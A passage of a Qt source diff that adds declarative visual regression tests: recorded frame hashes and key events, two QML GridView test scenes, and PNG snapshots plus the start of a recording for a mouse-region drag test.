4976 + hash: "87ca69287c1469cbc7e65d1673016de7" + } + Frame { + msec: 4992 + hash: "51588c7ebbe2dcd87a3c9bebf028aee3" + } + Frame { + msec: 5008 + hash: "917a9a171273fe9fd4c450eeed6f58ed" + } + Frame { + msec: 5024 + hash: "6e7ade250a9a9692caee2a220dd2ac53" + } + Frame { + msec: 5040 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5056 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5072 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5088 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5104 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5120 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5136 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5152 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5168 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5184 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5200 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5216 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5232 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5248 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5264 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5280 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5296 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5312 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5328 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5344 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5360 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5376 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5392 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5408 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5424 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5440 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5456 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5472 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5488 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5504 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5520 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5536 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5552 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5568 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5584 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5600 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Key { + type: 6 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 5616 + hash: "ca2dcb16d553889a3a57b48700c2a595" + } + Frame { + msec: 5632 + hash: "c5c9aab9bea757f1c451e89df72bd836" + } + Frame { + msec: 5648 + hash: "a8cf3085f8c3b743f3f15db1ad7b8801" + } + Frame { + msec: 5664 + hash: "c25a92050eced1c304506572723273a3" + } + Frame { + msec: 5680 + hash: "cff981039c1a3eb6c3c1a20f142fbae2" + } + Frame { + msec: 5696 + hash: "930765587fe3355873bbdff66b812b74" + } + Frame { + msec: 5712 + hash: "6a60f97c7b39add465e1bd366e9c644b" + } + Key { + type: 7 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 5728 + hash: "7a1fd3c488d1064a75dc598c9a773291" + } + Frame { + msec: 5744 + hash: "e2ecd7e68e27eb3d2dcb5e368d3ee5a0" + } + Frame { + msec: 5760 + image: "gridview2.5.png" + } + Frame { + msec: 5776 + hash: "20f3aaca2efc3066076e73d1d95e5363" + } + Frame { + msec: 5792 + hash: "b18d476cadc36e22dddc3185f595c123" + } + Frame { + msec: 5808 + hash: "8cbc47555178c8ee355774eab17b4b19" + } + Frame { + msec: 5824 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 5840 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 5856 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 5872 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 5888 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 5904 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 5920 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 5936 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 5952 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 5968 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 5984 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 6000 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 6016 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 6032 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 6048 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 6064 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 6080 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 6096 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Key { + type: 6 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 6112 + hash: "e488fb76fb550fba51b95bee3fee80d5" + } + Frame { + msec: 6128 + hash: "8c2fab0c73d1cfbeeb0ec937085d6b3b" + } + Frame { + msec: 6144 + hash: "5d9353517177ef7c6314d8a65cb009ec" + } + Frame { + msec: 6160 + hash: "ed8de504f7e2028cd369c1555314fd81" + } + Frame { + msec: 6176 + hash: "8fe84d8badbe5bd08d097ba6bda10611" + } + Frame { + msec: 6192 + hash: "d77419a55a3cf933505e793bb258e6af" + } + Frame { + msec: 6208 + hash: "457ac82be02e2f5e08e51ccc78c94781" + } + Frame { + msec: 6224 + hash: "e57e2852f065afff9c24c5bc9f29edee" + } + Frame { + msec: 6240 + hash: "f72cd6ad3324936c3a18c264e23e05a9" + } + Key { + type: 7 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 6256 + hash: "a4bf7eae6fc7a05239d09421ae95304a" + } + Frame { + msec: 6272 + hash: "423f3bd07df8bee25818644c07201a3c" + } + Frame { + msec: 6288 + hash: "225e9c698424f287b9458b7839b4479b" + } + Frame { + msec: 6304 + hash: "0f463db7e4acc184a4efb7b5e5c0d397" + } + Frame { + msec: 6320 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6336 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6352 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6368 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6384 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6400 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6416 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6432 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6448 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6464 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6480 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6496 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6512 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6528 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6544 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6560 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6576 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6592 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6608 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6624 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6640 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6656 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6672 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6688 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6704 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6720 + image: "gridview2.6.png" + } + Frame { + msec: 6736 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Key { + type: 6 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 6752 + hash: "b92ad1c3be35c46c0d12bf7701c56f23" + } + Frame { + msec: 6768 + hash: "738f6bcc043d221488285c7e529b1d1c" + } + Frame { + msec: 6784 + hash: "cb0a4e8e79372dd67e8ecfea2143a47c" + } + Frame { + msec: 6800 + hash: "544d1825b36f4e7950c1a62b26c1fd9b" + } + Frame { + msec: 6816 + hash: "df99396622342b4f092b0db34a224c3d" + } + Frame { + msec: 6832 + hash: "47391f51e5df2249a6ca1f1f6e8e80e0" + } + Key { + type: 7 + key: 16777237 + modifiers: 536870912 + text: "1f" + autorep: false + count: 1 + } + Frame { + msec: 6848 + hash: "d8079a874ca18d00aeeb611effcbeb8b" + } + Frame { + msec: 6864 + hash: "4cfd9264af6935aca425da75ebb2d7cc" + } + Frame { + msec: 6880 + hash: "aee6547cb653cd2d56d07285d836149d" + } + Frame { + msec: 6896 + hash: "969720f17eae51258e2e143e14bfa737" + } + Frame { + msec: 6912 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 6928 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 6944 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 6960 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 6976 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 6992 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 7008 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 7024 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 7040 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 7056 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 7072 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 7088 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 7104 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 7120 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 7136 + hash: "b6a0ee0b24737bc0045ff3fb68cfe3ad" + } + Frame { + msec: 7152 + hash: "beeaec4b983c970ae448e33047dfdfea" + } + Frame { + msec: 7168 + hash: "7c415ab1b7d8e25b71af75d3eec8ee4a" + } + Frame { + msec: 7184 + hash: "8913037e57b9a6a58b68f2d6e69b1bd1" + } + Frame { + msec: 7200 + hash: "19e59e9409fdaf90ccf75606b58688b7" + } + Frame { + msec: 7216 + hash: "1ae71ef5b1006f637bd8df0769af65a6" + } + Frame { + msec: 7232 + hash: "1f0aa8b368b2dbccafd54b923d8cce95" + } + Frame { + msec: 7248 + hash: "c5079fb25a8c80a995d7aa5fbbd91428" + } + Frame { + msec: 7264 + hash: "59f41220fa5d23db298c9e94f115c17b" + } + Frame { + msec: 7280 + hash: "48259dfe8b266d9e7f50b187be98c3cb" + } + Frame { + msec: 7296 + hash: "f7554552598351c3b8dfcbe3ebc32b3b" + } + Frame { + msec: 7312 + hash: "219e9cd84d7e5c5c0e6cb80100aa3ab5" + } + Frame { + msec: 7328 + hash: "5578e870ee8ce00bce5a59bb25e3d0a9" + } + Frame { + msec: 7344 + hash: "4d9cebbf750c03380694245e0e22ab94" + } + Frame { + msec: 7360 + hash: "a60a8032e97ed0a3caa05012c1283de5" + } + Frame { + msec: 7376 + hash: "3bee20b349a7e9d67f7770ede6da8673" + } + Frame { + msec: 7392 + hash: "d8c34576c25fb8b5e4fa12680ac32e99" + } + Frame { + msec: 7408 + hash: "cd1360aa7db7c3b2f2012dfc44de2198" + } + Frame { + msec: 7424 + hash: "cd82782f63c9a7d21d51b3440c2f038b" + } + Frame { + msec: 7440 + hash: "e59061967a841aa45607c0828b687527" + } + Frame { + msec: 7456 + hash: "01962406c9aaf1aa8bf3ab49e30ddf5f" + } + Frame { + msec: 7472 + hash: "5a5732a568189e598c7985ee806bc67e" + } + Frame { + msec: 7488 + hash: "54775aed3a6283c1fa330d65de5bc70c" + } + Frame { + msec: 7504 + hash: "66640b4a5c1e68924b25de24e3c3f008" + } + Frame { + msec: 7520 + hash: "76999d3125f20ba47dbdff38ee722a8a" + } + Frame { + msec: 7536 + hash: "5159c81533bee8825cff11910bcb90dc" + } + Frame { + msec: 7552 + hash: "ac0295495345987d1e000f6bb2436927" + } + Frame { + msec: 7568 + hash: "d56b4a04f1d2835a0852ea20e8e2f451" + } + Frame { + msec: 7584 + hash: "ae41fe23e2ab508d7642973c0d9d35b0" + } + Frame { + msec: 7600 + hash: "730ca01fbee6ec4928715ec52773c06c" + } + Frame { + msec: 7616 + hash: "ad1fa52c617a2b119d61eb9fb7d58a82" + } + Frame { + msec: 7632 + hash: "c74321a822b515a393e8e218bd45e8e3" + } + Frame { + msec: 7648 + hash: "a9e2f3bee1d47166204c74bdf90cd8c8" + } + Frame { + msec: 7664 + hash: "e10d4bf08980ea7d079a2f359ee62b95" + } + Frame { + msec: 7680 + image: "gridview2.7.png" + } + Frame { + msec: 7696 + hash: "9f0ba6051e684e54ff4e36d980a7e600" + } + Frame { + msec: 7712 + hash: "aa6268d8d7fb3d2b91db3e225e8c818a" + } + Frame { + msec: 7728 + hash: "8e547e55279b1929f42bf51e753f142e" + } + Frame { + msec: 7744 + hash: "5386c71f8d6701379e177f161d714da2" + } + Frame { + msec: 7760 + hash: "a184e9e6012c72fc1aeaed9f98b0fb1e" + } + Frame { + msec: 7776 + hash: "777a6b70ca77c45e2e5e3914cc328dcb" + } + Frame { + msec: 7792 + hash: "424f73f25a1e91126f951838d45adc3b" + } + Frame { + msec: 7808 + hash: "3f7f2eb6b9a5d19fbfcd700baf566dfb" + } + Frame { + msec: 7824 + hash: "c3c4c72b25c2295b82a5fd7454942f77" + } + Frame { + msec: 7840 + hash: "3b35e93d3eb9d28c5c03d6d353f805d2" + } + Frame { + msec: 7856 + hash: "5dcad019a1c0eaaab381a7602e1914ff" + } + Frame { + msec: 7872 + hash: "602a5c569555767413bf445af44c744f" + } + Frame { + msec: 7888 + hash: "3e9facab95dae772f695b6f7c5175063" + } + Frame { + msec: 7904 + hash: "0921220ec36ca7b25eaae699872a2006" + } + Frame { + msec: 7920 + hash: "1d5fa7fd630af62bcc805bdc6686df37" + } + Frame { + msec: 7936 + hash: "165c02de63604aa118d9f8995e6b45af" + } + Frame { + msec: 7952 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 7968 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 7984 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8000 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8016 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8032 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8048 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8064 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8080 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8096 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8112 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8128 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8144 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8160 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8176 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8192 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8208 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8224 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8240 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8256 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8272 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8288 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8304 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8320 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8336 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8352 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8368 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8384 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8400 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8416 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8432 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8448 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8464 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8480 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8496 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8512 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8528 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8544 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8560 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8576 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8592 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8608 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8624 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8640 + image: "gridview2.8.png" + } + Frame { + msec: 8656 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8672 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8688 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8704 + hash: "33d81c39d16c6a326012499796e50e03" + } + Key { + type: 6 + key: 16777249 + modifiers: 67108864 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 8720 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8736 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8752 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8768 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8784 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8800 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8816 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8832 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8848 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8864 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8880 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8896 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8912 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8928 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8944 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8960 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8976 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 8992 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 9008 + hash: "33d81c39d16c6a326012499796e50e03" + } + Frame { + msec: 9024 + hash: "33d81c39d16c6a326012499796e50e03" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview.qml b/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview.qml new file mode 100644 index 0000000..f8782a5 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview.qml @@ -0,0 +1,51 @@ +import Qt 4.6 + +Rectangle { + width: 300; height: 400; color: "black" + + ListModel { + id: appModel + ListElement { lColor: "red" } + ListElement { lColor: "yellow" } + ListElement { lColor: "green" } + ListElement { lColor: "blue" } + ListElement { lColor: "purple" } + ListElement { lColor: "orange" } + ListElement { lColor: "pink" } + ListElement { lColor: "brown" } + ListElement { lColor: "gray" } + ListElement { lColor: "red" } + ListElement { lColor: "yellow" } + ListElement { lColor: "green" } + ListElement { lColor: "blue" } + ListElement { lColor: "purple" } + ListElement { lColor: "orange" } + ListElement { lColor: "pink" } + ListElement { lColor: "brown" } + ListElement { lColor: "gray" } + } + + Component { + id: appDelegate + Item { + width: 100; height: 100 + Rectangle { + color: lColor; x: 4; y: 4 + width: 92; height: 92 + } + } + } + + Component { + id: appHighlight + Rectangle { width: 100; height: 100; color: "white"; z: 3000 } + } + + GridView { + anchors.fill: parent + cellWidth: 100; cellHeight: 100; cacheBuffer: 200 + model: appModel; delegate: appDelegate + highlight: appHighlight + focus: true + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview2.qml b/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview2.qml new file mode 100644 index 0000000..f4fb863 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/gridview2.qml @@ -0,0 +1,58 @@ +import Qt 4.6 + +Rectangle { + width: 300; height: 400; color: "black" + + ListModel { + id: appModel + ListElement { lColor: "red" } + ListElement { lColor: "yellow" } + ListElement { lColor: "green" } + ListElement { lColor: "blue" } + ListElement { lColor: "purple" } + ListElement { lColor: "orange" } + ListElement { lColor: "pink" } + ListElement { lColor: "brown" } + ListElement { lColor: "gray" } + ListElement { lColor: "red" } + ListElement { lColor: "yellow" } + ListElement { lColor: "green" } + ListElement { lColor: "blue" } + ListElement { lColor: "purple" } + ListElement { lColor: "orange" } + ListElement { lColor: "pink" } + ListElement { lColor: "brown" } + ListElement { lColor: "gray" } + ListElement { lColor: "red" } + ListElement { lColor: "yellow" } + ListElement { lColor: "green" } + } + + Component { + id: appDelegate + Item { + width: 100; height: 100 + Rectangle { + color: lColor; x: 4; y: 4 + width: 92; height: 92 + } + } + } + + GridView { + id: gridView; anchors.fill: parent + cellWidth: 100; cellHeight: 100; cacheBuffer: 200 + model: appModel; delegate: appDelegate; focus: true + keyNavigationWraps: true + + flickableData: [ + Rectangle { + color: "transparent"; border.color: "white"; border.width: 8; z: 3000 + height: 100; width: 100; x: 4; y: 4 + EaseFollow on x { source: gridView.currentItem.x; velocity: 500 } + EaseFollow on y { source: gridView.currentItem.y; velocity: 500 } + } + ] + } + +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.0.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.0.png new file mode 100644 index 0000000..cf36d60 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.1.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.1.png new file mode 100644 index 0000000..6069df8 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.2.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.2.png new file mode 100644 index 0000000..b8bd5f3 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.3.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.3.png new file mode 100644 index 0000000..cf36d60 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.4.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.4.png new file mode 100644 index 0000000..831d6b4 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.5.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.5.png new file mode 100644 index 0000000..f7079dc Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.6.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.6.png new file mode 100644 index 0000000..a5f4451 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.7.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.7.png new file mode 100644 index 0000000..e1261d0 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.7.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.8.png b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.8.png new file mode 100644 index 0000000..653905e Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.8.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.qml b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.qml new file mode 100644 index 0000000..5a131e9 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativemouseregion/data/drag.qml @@ -0,0 +1,5207 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 32 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 48 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 64 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 80 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 96 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 112 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 128 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 144 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 160 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 176 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 192 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 208 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 224 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 240 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 256 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 272 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 288 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 304 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 320 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 336 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 352 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 368 + hash: "668cc6d9d699b947a7c0f3ff4b26853f" + } + Frame { + msec: 384 + hash: 